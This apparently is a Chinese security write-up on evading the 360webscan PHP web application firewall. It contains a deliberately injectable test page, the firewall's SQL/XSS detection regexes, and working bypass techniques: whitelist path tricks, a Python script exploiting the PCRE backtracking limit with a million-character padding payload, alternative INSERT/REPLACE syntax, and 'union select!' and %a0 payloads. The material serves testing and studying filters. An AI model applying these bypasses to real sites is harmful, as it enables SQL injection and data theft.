使用
将360safe文件夹放入网站根目录,在入口文件或者需要过滤的文件使用:
1 | if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){ |
2 | require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php'); |
3 | } |
测试代码
1 | <?php |
2 | if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){ |
3 | require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php'); |
4 | } |
5 | |
6 | $sql="select * from tab where id =".$_POST['id']; |
7 | echo $sql; |
php_self白名单绕过
原理
1 | $webscan_white_directory='admin|\/dede\/|\/install\/'; |
php_self
中含有 admin
或者 /dede/
或者 /install/
时,不过滤字符
测试
传参 id=select * from aaa
拦截
在urlpath之后添加 /admin
,/dede/
,/install/
之后不拦截
white_url白名单绕过
原理
1 | $webscan_white_url = array('index.php' => 'm=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>''); |
index.php?m=admin
, post.php?job=postnew&step=post
, edit_apace_info.php
不过滤
实例
这两个白名单的方法很容易会被使用的人给更改掉
超长字符串绕过正则
原理
1 | //get拦截规则 |
2 | $getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; |
3 | //post拦截规则 |
4 | $postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; |
5 | //cookie拦截规则 |
6 | $cookiefilter = "\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; |
是正则表达式设置规则,因此可利用PHP利用PCRE回溯次数限制绕过某些安全限制
测试
1 | import requests |
2 | |
3 | def exp(): |
4 | domain = 'http://debug.com' |
5 | path = '/test.php' |
6 | url = domain + path |
7 | headers = { |
8 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", |
9 | } |
10 | # payload = "select */*"+'a'*1000000+'*/ from aaa' |
11 | payload = "select * from aaa" |
12 | data = {"id": payload} |
13 | |
14 | url = domain+path |
15 | res = requests.post(url=url, data=data, headers=headers) |
16 | if 'webscan'in res.text: |
17 | print("fobidden!\n") |
18 | exit() |
19 | |
20 | print(res.text) |
21 | |
22 | |
23 | if __name__ == "__main__": |
24 | exp() |
当直接传参时候,显示拦截了
当填充payload
即id
参数中1000000个a时
插入绕过正则
原理
1 | INSERT\\s+INTO.+?VALUES |
insert 数据可以用另几种方式
insert into table set name = 'admin',pass = '123456'
insert table(name,password) values('admin','123456')
insert into table(name,password) select 'admin','123456'
这几种写法可以随意组合着用
可用性测试:
绕过测试
另外,还可以用 replace into
来代替insert
与update
,而且replace into
也有和insert into
一样的三种写法加上一种普通写法都可以绕过。
老版本绕过
检测
WEBSCAN_VERSION:0.1.3.2
先在使用了360通防的页面上发送?id=union select ’1,2,3'
若是拦截,再发送id = union select!1,2,3
不拦截,则可以union绕过。
可使用
union select!1,user(),3
union select@1,user(),3
若是数据库编码不是utf-8则可以使用%a0隔绝select与from造成绕过。(编码问题不懂)
select%a0*%a0from%20tables